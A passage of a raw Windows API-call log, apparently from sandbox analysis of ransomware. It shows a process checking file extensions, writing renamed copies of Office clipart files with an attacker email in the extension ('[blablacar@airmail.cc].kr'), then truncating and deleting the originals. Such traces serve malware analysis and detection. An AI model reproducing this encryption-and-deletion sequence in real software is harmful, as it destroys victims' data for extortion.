Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.632] lstrlenW (lpString=".doc") returned 4 [0183.632] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.632] lstrlenW (lpString=".docx") returned 5 [0183.632] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0183.632] lstrlenW (lpString=".pdf") returned 4 [0183.632] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.632] lstrlenW (lpString=".xls") returned 4 [0183.633] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.633] lstrlenW (lpString=".xlsx") returned 5 [0183.633] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0183.633] lstrlenW (lpString=".ppt") returned 4 [0183.633] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString=".zip") returned 4 [0183.633] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.633] lstrlenW (lpString=".rar") returned 4 [0183.633] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString=".bz2") returned 4 [0183.633] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString=".7z") returned 3 [0183.633] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString=".dbf") returned 4 [0183.633] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString=".1cd") returned 4 [0183.633] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString=".jpg") returned 4 [0183.633] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.633] lstrlenW (lpString=".doc") returned 4 [0183.633] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.633] lstrlenW (lpString=".docx") returned 5 [0183.633] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0183.633] lstrlenW (lpString=".pdf") returned 4 [0183.633] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString=".xls") returned 4 [0183.634] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.634] lstrlenW (lpString=".xlsx") returned 5 [0183.634] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0183.634] lstrlenW (lpString=".ppt") returned 4 [0183.634] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.634] lstrlenW (lpString=".zip") returned 4 [0183.634] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.634] lstrlenW (lpString=".rar") returned 4 [0183.634] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString=".bz2") returned 4 [0183.634] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString=".7z") returned 3 [0183.634] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.634] lstrlenW (lpString=".dbf") returned 4 [0183.634] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.634] lstrlenW (lpString=".1cd") returned 4 [0183.634] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68 [0183.634] lstrlenW (lpString=".jpg") returned 4 [0183.634] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.634] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.634] lstrlenW (lpString="BS00100_.WMF") returned 12 [0183.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.635] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2378) returned 1 [0183.635] CloseHandle (hObject=0x500) returned 1 [0183.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x220 [0183.635] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.635] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.636] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0183.636] GetLastError () returned 0x0 [0183.636] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x94a, lpOverlapped=0x0) returned 1 [0183.638] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x950, lpOverlapped=0x0) returned 1 [0183.639] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.639] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.639] SetEndOfFile (hFile=0x50c) returned 1 [0183.639] CloseHandle (hObject=0x50c) returned 1 [0183.639] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.639] SetEndOfFile (hFile=0x500) returned 1 [0183.641] CloseHandle (hObject=0x500) returned 1 [0183.642] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.642] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0183.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.642] lstrlenW (lpString=".doc") returned 4 [0183.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.642] lstrlenW (lpString=".docx") returned 5 [0183.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.642] lstrlenW (lpString=".pdf") returned 4 [0183.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString=".xls") returned 4 [0183.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.643] lstrlenW (lpString=".xlsx") returned 5 [0183.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.643] lstrlenW (lpString=".ppt") returned 4 [0183.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString=".zip") returned 4 [0183.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.643] lstrlenW (lpString=".rar") returned 4 [0183.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString=".bz2") returned 4 [0183.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString=".7z") returned 3 [0183.643] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString=".dbf") returned 4 [0183.643] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString=".1cd") returned 4 [0183.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString=".jpg") returned 4 [0183.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.643] lstrlenW (lpString=".doc") returned 4 [0183.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.643] lstrlenW (lpString=".docx") returned 5 [0183.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.643] lstrlenW (lpString=".pdf") returned 4 [0183.644] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString=".xls") returned 4 [0183.644] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.644] lstrlenW (lpString=".xlsx") returned 5 [0183.644] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.644] lstrlenW (lpString=".ppt") returned 4 [0183.644] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.644] lstrlenW (lpString=".zip") returned 4 [0183.644] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.644] lstrlenW (lpString=".rar") returned 4 [0183.644] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString=".bz2") returned 4 [0183.644] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString=".7z") returned 3 [0183.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.644] lstrlenW (lpString=".dbf") returned 4 [0183.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.644] lstrlenW (lpString=".1cd") returned 4 [0183.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0183.644] lstrlenW (lpString=".jpg") returned 4 [0183.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.644] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.644] lstrlenW (lpString="BS00135_.WMF") returned 12 [0183.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.645] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1044) returned 1 [0183.645] CloseHandle (hObject=0x500) returned 1 [0183.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220 [0183.645] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.645] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.646] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0183.646] GetLastError () returned 0x0 [0183.646] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x414, lpOverlapped=0x0) returned 1 [0183.647] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x420, lpOverlapped=0x0) returned 1 [0183.648] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.648] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.648] SetEndOfFile (hFile=0x50c) returned 1 [0183.649] CloseHandle (hObject=0x50c) returned 1 [0183.649] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.649] SetEndOfFile (hFile=0x500) returned 1 [0183.652] CloseHandle (hObject=0x500) returned 1 [0183.652] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0183.652] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1 [0183.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.652] lstrlenW (lpString=".doc") returned 4 [0183.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.652] lstrlenW (lpString=".docx") returned 5 [0183.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.653] lstrlenW (lpString=".pdf") returned 4 [0183.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString=".xls") returned 4 [0183.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.653] lstrlenW (lpString=".xlsx") returned 5 [0183.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.653] lstrlenW (lpString=".ppt") returned 4 [0183.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.653] lstrlenW (lpString=".zip") returned 4 [0183.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.653] lstrlenW (lpString=".rar") returned 4 [0183.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString=".bz2") returned 4 [0183.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString=".7z") returned 3 [0183.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.653] lstrlenW (lpString=".dbf") returned 4 [0183.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.653] lstrlenW (lpString=".1cd") returned 4 [0183.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.653] lstrlenW (lpString=".jpg") returned 4 [0183.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString=".doc") returned 4 [0183.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString=".docx") returned 5 [0183.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0183.654] lstrlenW (lpString=".pdf") returned 4 [0183.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString=".xls") returned 4 [0183.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0183.654] lstrlenW (lpString=".xlsx") returned 5 [0183.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0183.654] lstrlenW (lpString=".ppt") returned 4 [0183.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString=".zip") returned 4 [0183.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0183.654] lstrlenW (lpString=".rar") returned 4 [0183.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString=".bz2") returned 4 [0183.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString=".7z") returned 3 [0183.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString=".dbf") returned 4 [0183.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString=".1cd") returned 4 [0183.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0183.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68 [0183.654] lstrlenW (lpString=".jpg") returned 4 [0183.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0183.655] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0183.655] lstrlenW (lpString="BS00136_.WMF") returned 12 [0183.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.655] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2166) returned 1 [0183.655] CloseHandle (hObject=0x500) returned 1 [0183.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 0x220 [0183.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0183.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0183.656] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.656] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0183.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0183.656] GetLastError () returned 0x0 [0183.656] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x876, lpOverlapped=0x0) returned 1 [0183.923] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x880, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x880, lpOverlapped=0x0) returned 1 [0183.924] ReadFile (in: hFile=0x500, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0183.924] WriteFile (in: hFile=0x50c, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0183.924] SetEndOfFile (hFile=0x50c) returned 1 [0184.009] CloseHandle (hObject=0x50c) returned 1 [0184.009] SetFilePointerEx (in: hFile=0x500, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.009] SetEndOfFile (hFile=0x500) returned 1 [0184.011] CloseHandle (hObject=0x500) returned 1 [0184.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1 [0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.034] lstrlenW (lpString=".doc") returned 4 [0184.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.034] lstrlenW (lpString=".docx") returned 5 [0184.034] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.034] lstrlenW (lpString=".pdf") returned 4 [0184.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.034] 